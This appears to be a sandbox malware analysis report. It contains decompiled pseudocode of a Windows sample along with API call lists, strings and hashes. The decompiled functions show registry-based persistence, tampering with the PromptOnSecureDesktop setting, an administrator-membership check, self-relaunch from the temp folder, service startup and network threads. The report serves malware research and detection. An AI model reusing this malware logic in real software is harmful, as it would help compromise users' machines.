										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

\, xrefs: 00409D0C
", xrefs: 00409EDB
", xrefs: 0040A189
", xrefs: 0040A078
P, xrefs: 00409DAA
D, xrefs: 00409F8E
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
Mt, xrefs: 00409AB3, 00409FAD, 0040A174
0t, xrefs: 0040A491
%X%08X, xrefs: 0040A0B0

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$0t$D$P$PromptOnSecureDesktop$\$Mt
API String ID: 2089075347-3963311112
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00419DF7, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 00419E15

Part of subcall function 0041B410: __vsprintf_l.LIBCMTD ref: 0041B423

_putc.LIBCMTD ref: 00419E1C

Part of subcall function 0041B040: __invalid_parameter.LIBCMTD ref: 0041B0CD

__wrename.LIBCMTD ref: 00419E23

Part of subcall function 0041AFF0: __dosmaperr.LIBCMTD ref: 0041B024

_atexit.LIBCMTD ref: 00419E29

Part of subcall function 0041AD80: __atof_l.LIBCMTD ref: 0041AD8B

_malloc.LIBCMTD ref: 00419E3B
_realloc.LIBCMTD ref: 00419E42

Part of subcall function 0041AAD0: __realloc_dbg.LIBCMTD ref: 0041AAE4

_ferror.LIBCMTD ref: 00419E48

Part of subcall function 0041AA50: __invalid_parameter.LIBCMTD ref: 0041AAAA

Part of subcall function 0041AA30: __wcstoi64.LIBCMTD ref: 0041AA3D

_memset.LIBCMT ref: 0041A27A

Strings

cbH, xrefs: 0041A131

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: cf68d4d79052d39286fa97e8ac223c8bc255253c5e37d72d7c9dd084ecb39c2e
Instruction ID: a77f5e1b817de72ce4094ed3bd144a263ae0c820eed4c6389ebc32715e65b544
Opcode Fuzzy Hash: cf68d4d79052d39286fa97e8ac223c8bc255253c5e37d72d7c9dd084ecb39c2e
Instruction Fuzzy Hash: CAF1EB76406664BBD311ABA1AE4CDDF3F6CEF4A351B00442AF24AE5070D7385646CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x1
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x1
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0); // executed
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401820, Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00401820(intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t17;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				void* _t41;
				intOrPtr _t42;

				_v8 = 0;
				_v12 = 0;
				_t17 = E00401000();
				if(_t17 > 0) {
					_t20 =  *0x413940(GetCurrentProcess(), 8,  &_v8);
					if(_t20 >= 0) {
						_t22 =  *0x413954(_v8, 0x12,  &_v16, 4,  &_v12, _t41); // executed
						_t42 = _t22;
						 *0x41393c(_v8);
						if(_t42 >= 0) {
							_t25 = _v16;
							if(_t25 == 3) {
								return 1;
							} else {
								 *_a8 = 0x20c;
								 *_a4 = _t25;
								return 0;
							}
						} else {
							 *_a8 = 0x20b;
							 *_a4 = _t42;
							return 0;
						}
					} else {
						 *_a8 = 0x20a;
						 *_a4 = _t20;
						return 0;
					}
				} else {
					 *_a8 = 0x201;
					 *_a4 = _t17;
					return 0;
				}
			}

0x00401826
0x0040182d
0x00401834
0x0040183b
0x0040185e
0x00401866
0x0040188d
0x00401893
0x00401899
0x004018a1
0x004018b8
0x004018be
0x004018de
0x004018c0
0x004018c6
0x004018cc
0x004018d4
0x004018d4
0x004018a3
0x004018a9
0x004018af
0x004018b7
0x004018b7
0x00401868
0x0040186e
0x00401874
0x0040187b
0x0040187b
0x0040183d
0x00401843
0x00401849
0x00401850
0x00401850

APIs

Part of subcall function 00401000: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012

GetCurrentProcess.KERNEL32(00000008,00000000,00409646), ref: 00401857

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CurrentLibraryLoadProcess
String ID:
API String ID: 2934848855-0
Opcode ID: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction ID: ff152fe7df6283169b44c0841219fe648ae006778000c8fb05779bb95ac2d07b
Opcode Fuzzy Hash: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction Fuzzy Hash: 8B215476A0120CAFDB01DFA4D844BE9B7B8EB49315F10C1A5ED08DB350D775DA40CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
